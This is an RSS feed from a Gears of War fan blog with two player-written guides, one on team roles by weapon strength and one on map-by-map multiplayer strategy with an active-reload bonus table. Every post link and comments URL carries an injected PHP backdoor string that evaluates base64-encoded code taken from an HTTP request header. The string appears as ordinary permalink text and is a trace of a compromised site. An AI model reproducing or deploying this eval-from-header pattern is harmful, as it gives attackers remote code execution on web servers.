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	<title>Gears of War Addicts &#187; Team Work</title>
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		<title>Gears of War Team Layout</title>
		<link>http://gearsofwaraddicts.com/2009/05/18/gears-of-war-team-layout/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gearsofwaraddicts.com/2009/05/18/gears-of-war-team-layout/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 18 May 2009 23:29:07 +0000</pubDate>
		<dc:creator>LockDown</dc:creator>
				<category><![CDATA[Gears of War Guides]]></category>
		<category><![CDATA[Gears]]></category>
		<category><![CDATA[Guide]]></category>
		<category><![CDATA[Help]]></category>
		<category><![CDATA[Team]]></category>
		<category><![CDATA[Team Work]]></category>
		<category><![CDATA[war]]></category>
		<category><![CDATA[Work]]></category>

		<guid isPermaLink="false">http://gwa.justasktheitguy.com/?p=861</guid>
		<description><![CDATA[ 
 So you and your team is getting steam rolled? But why? You did everything correctly and played as hard as you could. Something I&#8217;ve noticed between me and my fellow running mates is this, we have are own strengths and weaknesses and we have noticed it. I&#8217;d like to explain further what I mean. Now [...]]]></description>
			<content:encoded><![CDATA[<p> </p>
<div class="wp-caption aligncenter" style="width: 490px"><img src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/gears_of_war_250_248370g.jpg" alt="Dibs on the Torque!" width="480" height="267" /><p class="wp-caption-text">Dibs on the Torque!</p></div>
<p> So you and your team is getting steam rolled? But why? You did everything correctly and played as hard as you could. Something I&#8217;ve noticed between me and my fellow running mates is this, we have are own strengths and weaknesses and we have noticed it. I&#8217;d like to explain further what I mean. Now I&#8217;m not saying do this every game because believe me it can  suck out the fun of it, but when you really want to win, use your strengths even if you want to use something your not good with. Example:<span id="more-861"></span><span style="text-decoration: underline;"><strong></strong></span></p>
<p><span style="text-decoration: underline;"><strong>Gizmoh</strong></span>-</p>
<p>Expert-Torque Bow/Speed</p>
<p>Strengths-Torque Bow/Sniper/Hammer Burst/Scorcher</p>
<p>Weaknesses- Boomshot/Throwing Frags/Hardcore Offense</p>
<p><span style="text-decoration: underline;"><strong>iTz Cond3mned</strong></span>-</p>
<p>Expert- Shotgun</p>
<p>Strengths- Shotgun/Boomshot/Sniper/Boltok/Hammerburst</p>
<p>Weaknesses- Torque Bow/Inks/Gorgon/Lancer/Scorcher/Too Aggressive</p>
<p><span style="text-decoration: underline;"><strong>iTz Fubu</strong></span>-</p>
<p>Expert-Hammerburst/Medic</p>
<p>Strengths- Hammerburst/Sniper</p>
<p>Weaknesses-Torque Bow/Inks/Too Defensive</p>
<p><strong><span style="text-decoration: underline;">Corsian</span></strong>-</p>
<p>Expert- Decoy</p>
<p>Strengths- Torque/Shotgun</p>
<p>Weaknesses- Survival/Speed/Maps</p>
<p>(Corisan is a new player therefore his full abilities have not yet been discovered)</p>
<p> There are our four regulars, so you can see all four of us have different strengths and weaknesses, and luckily we all four are experts with different weapons. Therefore when we are really getting beaten, we play on those strengths Cond3mned and Fubu stay near each other and dominate against most teams using the shotgun and hammer to make a devastating offense and defense. Corisan(new player) draws fire like its nobodies business and he tends to risk his life to pick people up. I generally pick up the torque bow, or follow cond3mned and Fubu using my Hammerburst.</p>
<p> In every squad your members excel with certain abilities. Its always good to utilize them especially if you plan on using gamebattles. Now again ill repeat, don&#8217;t do this every game, you will get bored because we all love the power weapons and not all of us are pro with them. When I play with schnikes I forfeit the sniper to him because I&#8217;ve seen him have better headshot percentage than I. Basically the point of this article is to tell everyone that we all have strengths and weaknesses and dominating in clan matches and public matches relies on using those and slowing improving your weaknesses.</p>
<p> The best setup so far is to have two people good with the four common power weapons and two people good with the shotgun/Hammer.  I&#8217;ve been experimenting with the idea of using a lancer as the leader of attacks.</p>
<p><strong> <span style="text-decoration: underline;">Explained</span></strong>-</p>
<p>Team of 5(since clan matches restrict either all lancers or all hammers)</p>
<p>Four members use the Hammerburst and one uses the lancer. The lancer is a great support weapon since when you hit someone longer than 2 seconds they begin to slow down thanks to the high rate of bullets, while the bullets don&#8217;t do a lot of damage, the slow alone allows your teammates hammer&#8217;s to find their mark easily. Plus if any enemies get brave having a lancer lead the attack is quite a defensive maneuver. Since the lancer can rev a chainsaw many players will back off immediately no one wants to get vacuumed in. I need to test this theory more, but I cant stand losing the power of my Hammerburst. I&#8217;ll get back to everyone on the success of the Lancer Leader as soon as I can.</p>
<p>As with all my articles if you ever have any questions you can post on the forums or email me at <a href="mailto:superjunkail71@gmail.com">superjunkail71@gmail.com</a></p>
<p>(I really do check this email address guys!) &gt;.&lt;</p>
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		<title>Gears of War 2 Survival Guide Part 2</title>
		<link>http://gearsofwaraddicts.com/2009/05/16/gears-of-war-guide-part-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://gearsofwaraddicts.com/2009/05/16/gears-of-war-guide-part-2/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 16 May 2009 22:03:30 +0000</pubDate>
		<dc:creator>LockDown</dc:creator>
				<category><![CDATA[Gears of War Guides]]></category>
		<category><![CDATA[Active Reloads]]></category>
		<category><![CDATA[Guide]]></category>
		<category><![CDATA[Help]]></category>
		<category><![CDATA[Maps]]></category>
		<category><![CDATA[Team Work]]></category>
		<category><![CDATA[Teamwork]]></category>

		<guid isPermaLink="false">http://gwa.justasktheitguy.com/?p=761</guid>
		<description><![CDATA[Mansion

Power Weapons: 3 Gorgon/Boltok, Boomshot, Torque/Sniper, Ink/Frag
Mansion such a fun map, I&#8217;ve found out that 5 to Boomshot seems to work great, the sniper and torque don&#8217;t seem to be effective enough on mansion due to its small map. However like jacinto you can send 3 to torq/sniper and 2 to Boomshot, sending one down [...]]]></description>
			<content:encoded><![CDATA[<h3>Mansion</h3>
<p style="text-align: center;"><img class="aligncenter" src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-map-mansion.jpg" alt="stats-map-mansion" width="413" height="207" /></p>
<p>Power Weapons: 3 Gorgon/Boltok, Boomshot, Torque/Sniper, Ink/Frag</p>
<p>Mansion such a fun map, I&#8217;ve found out that 5 to Boomshot seems to work great, the sniper and torque don&#8217;t seem to be effective enough on mansion due to its small map. However like jacinto you can send 3 to torq/sniper and 2 to Boomshot, sending one down the bottom level to flank enemies. Very simple map, if you&#8217;re a lancerjunkie, watch out for using the chainsaw in the mansion plenty of chainsaw magnets that wil get you killed.</p>
<h3>Pavillion</h3>
<p style="text-align: center;"><img class="aligncenter" src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-map-pavilion.jpg" alt="stats-map-pavilion" width="413" height="207" /></p>
<p>Power Weapons: 2 Gorgon/Boltok, 2 Ink/Frag, BoomShield, Mortar, Mulcher.</p>
<p>I love this map. My favorite strategy is 2 to the shield hall, 2 to the middle and 1 to mortar. The one to mortar goes grabs fires, the top tries to push, if they meet 0 resistance grab the shield and come down on the enemies. The 2 middle people rush to the mulcher one guards(the shotgunner) and the other grabs the Mulcher and fires cover fire. Again with the other maps you can cut up your 5 people between the 3 paths.<span id="more-761"></span><br />
<img title="More..." src="http://gwa.justasktheitguy.com/wp-includes/js/tinymce/plugins/wordpress/img/trans.gif" alt="" /></p>
<h3>River</h3>
<p style="text-align: center;"><img class="aligncenter" src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-map-river.jpg" alt="stats-map-river" width="413" height="207" /></p>
<p>Power Weapons: 2 torque/Sniper, 2 Ink/Frag, Boomshot, Mortar, 2 Gorgon/Boltok</p>
<p>My old favorite map. However everyone is learning how to intercept the torque/sniper. My favorite strategy is 1 to Torque/Sniper, 1 intercepts sniper/torque, 2 to Boomshot, 1 to bridge. 1 Torque sniper should look out window to check on a grenade thrower in the river, the interceptor grabs frags/ink and throws the grenades onto the enemy&#8217;s sniper/torque. The person to the bridge should check for resistance, if none he crosses and flanks Boomshot or power house, if there is he backs up and covers his sniper/torque teammate. With this map there&#8217;s 3 paths bridge, boom, and powerhouse, you can divide equally as long as you send 1 to each path.</p>
<h3>Ruins</h3>
<p style="text-align: center;"><img class="aligncenter" src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-map-ruins.jpg" alt="stats-map-ruins" width="413" height="207" /></p>
<p>Power Weapons: 2 Gorgon/Boltok, 2 Frag/BoomShield, 2 Sniper/Troque, Scorcher</p>
<p>My favorite map, the only map I truly believe a 5 on 1 is easily done. As for strategies their abundant and far and few between perfection. I truly believe there is no one solid route to run this map, 5 to any side works wonders, middle left right it doesn&#8217;t matter. Oh? Want to know how the 5 on 1 works don&#8217;t ya? Easy grab sniper/Torque (dropping your hammer/lancer) and from there its cake, run long enough to create distance between your pursuers, stop to take a shot, keep moving. The strategy is simple fight one on one, do your damage and run. Works almost every time. If you get pinned? Easy whoever has the power weapon is who you want to fight unless it&#8217;s a scorcher, if it&#8217;s a scorcher go to the opposite opponent try and defeat him, if you see this going badly simple stun and run. As for strategies, simply make sure you don&#8217;t let your enemy have your power weapon or your frags, then its all skill from there. There are some cheap tricks like rushing to a certain point on the bridge and hammering down your opponents sniper/torque guy. Or fragging the opposing torque/sniper.</p>
<h3>Security</h3>
<p style="text-align: center;"><img class="aligncenter" src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-map-security.jpg" alt="stats-map-security" width="413" height="207" /></p>
<p>Power Weapons: 2 Ink/Frag, Boltok/Gorgon, Mulcher/Mortar, Scorcher</p>
<p>Simple grab grenades, 2 to tunnel and 3 in the middle, and flank. This map is mainly based on player skill no true strategies to make this map easier unfortunately.</p>
<h3>Stasis</h3>
<p style="text-align: center;"><img class="aligncenter" src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-map-stasis.jpg" alt="stats-map-stasis" width="413" height="207" /></p>
<p>Power Weapons: 2 gorgon/Boltok, 2 Ink/Frag, Boomshot/Mulcher, Torque/Sniper</p>
<p>More complicated but the perfect strategy is sound. 2 people go straight to the middle grabbing frags/inks and heading for torque/sniper, 2 more go straight down the path that leads to the enemys Boomshot stairs, one goes to Boomshot stairs and fires along the rafters keeping his opponents of of the Boomshot. As long as everyone on the bottom floor does their job and the opponents don&#8217;t get the Boomshot. Cake map.</p>
<h3>Subway</h3>
<p style="text-align: center;"><img class="aligncenter" src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-map-subway.jpg" alt="stats-map-subway" width="413" height="207" /></p>
<p>Power Weapons: 2 ink/frag, sniper, Mulcher/torque, scorcher.</p>
<p>This map is intricate as well, each side is different therefore there is no one set strategy for this map, the best thing to do is to play to your teams strengths. Speed or defense? But no matter which strength it is don&#8217;t let your sniper/torque or grenades fall into the opposing teams hands.</p>
<h3>Tyro Station</h3>
<p style="text-align: center;"><img class="aligncenter" src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-map-tyrostation.jpg" alt="stats-map-tyrostation" width="413" height="207" /></p>
<p>Power Weapons: 2 sniper/torque, Frags/inks, 2 gorgon/boltok</p>
<p>I hate this map, but I know how to work it. Its simple send 2 bottom 3 top, one top for power weapon 2 to cross the tracks. CAREFUL the train is fast, but once you learn how to cross fast and perfect its an easy map, the two bottoms should flush through and use grenades on sniper/torque spot(unless you had to use them to win the fight down bottom). Perfect strategy if executed correctly.</p>
<h3>UnderHill</h3>
<p style="text-align: center;"><img class="aligncenter" src="http://gwa.justasktheitguy.com/wp-content/uploads/2009/05/stats-map-underhill.jpg" alt="stats-map-underhill" width="413" height="207" /></p>
<p>Power Weapons: Scorcher, BoomShield, 2 frags/inks, 2 gorgon/Boltoks, torque/sniper, Mortar</p>
<p>Simply put the faster team wins, with so many power weapons and such a large map, whoever can navigate and swarm faster will have an advantage over the other team, plus Hammerburst and pistols become key for the long range combat that takes place on this level. 2 to middle, one to mortar 1 to grenades then to opponent&#8217;s grenades fighting and killing on the way there, and 1 to scorcher. Speed and accuracy are keys on this map.</p>
<p><strong>2.) </strong>Ok so the second thing on my list is knowing where your teammates are. Now honestly I won&#8217;t explain how to do this, because.. really&#8230; But I&#8217;ll stress that its key knowing where your teammates are, especially if you get downed or if they get downed. Now on strategy point of view the more you have with you the more likely your opponent will break offense and retreat into a corner. And when retreating if you retreat at a slower pace than your normal ability to run away, you can entice the greedier player to walk right into your teammates/plants. That&#8217;s really all that should be said on that matter.</p>
<p><strong>3.) </strong>Active reload as much as possible. Active reloads decrease reload time and allow bonuses to your weapons, here is the active chart: Note: Active reload damage only lasts for a few seconds, all other bonuses stay until you switch your weapon. The damage bonus stays for roughly 8-10 seconds. Any time you switch weapons all actives are nullified.</p>
<table border="0" cellspacing="0" cellpadding="0" width="492">
<tbody>
<tr>
<td width="120" valign="bottom">Lancer</td>
<td width="372" valign="bottom">20% damage increase.</td>
</tr>
<tr>
<td width="120" valign="bottom">Hammerburst</td>
<td width="372" valign="bottom">20% damage increase. Reduces recoil</td>
</tr>
<tr>
<td width="120" valign="bottom">Shotgun</td>
<td width="372" valign="bottom">20% damage increase.</td>
</tr>
<tr>
<td width="120" valign="bottom">Longshot</td>
<td width="372" valign="bottom">10% damage increase, Headshot accuracy improved.</td>
</tr>
<tr>
<td width="120" valign="bottom">Boomshot</td>
<td width="372" valign="bottom">25% larger blast radius 6 shards instead of 3</td>
</tr>
<tr>
<td width="120" valign="bottom">Torque Bow</td>
<td width="372" valign="bottom">25% larger explosion, 25% increased damage, Faster charger Time</td>
</tr>
<tr>
<td width="120" valign="bottom">Hammer of Dawn</td>
<td width="372" valign="bottom">N/A</td>
</tr>
<tr>
<td width="120" valign="bottom">Scorcher</td>
<td width="372" valign="bottom">20% Distance Bonus (no reported damage increase)</td>
</tr>
<tr>
<td width="120" valign="bottom">Mulcher</td>
<td width="372" valign="bottom">N/A</td>
</tr>
<tr>
<td width="120" valign="bottom">Mortar</td>
<td width="372" valign="bottom">20% damage increase, 25% increased blast radius</td>
</tr>
<tr>
<td width="120" valign="bottom">Snub pistol</td>
<td width="372" valign="bottom">20% damage increase.</td>
</tr>
<tr>
<td width="120" valign="bottom">Boltok pistol</td>
<td width="372" valign="bottom">Doubles Rate of Fire (no reported damage increase)</td>
</tr>
<tr>
<td width="120" valign="bottom">Gorgon pistol</td>
<td width="372" valign="bottom">20% damage increase.</td>
</tr>
</tbody>
</table>
<p><strong>4.) </strong>Fourth on the list, predicting common moves from your opponents. Surprising them with some crazy plan has an increased chance of success. Defensively speaking though as you play gears you will see common moves like the 1-2(two piece). And that ability is simple to see coming and easy to defeat, as you play more you will see common moves and learn to intercept them. With each move I explain I&#8217;ll explain its counter.</p>
<p><strong>5.)</strong> Communicate everything, whatever you see wherever their going, don&#8217;t give false information even if you really think that&#8217;s what the enemy will do. No information is better than false information. Call out who is doing what or who is carrying what. Information is key for a team to win.</p>
<h3 style="text-align: center;"><a href="http://gwa.justasktheitguy.com/gears-of-war-news/gears-of-war-guide-part-2/">Go to Part 1</a> | <a href="http://gwa.justasktheitguy.com/gears-of-war-news/gears-of-war-guide-part-3/">Go to Part 3</a></h3>
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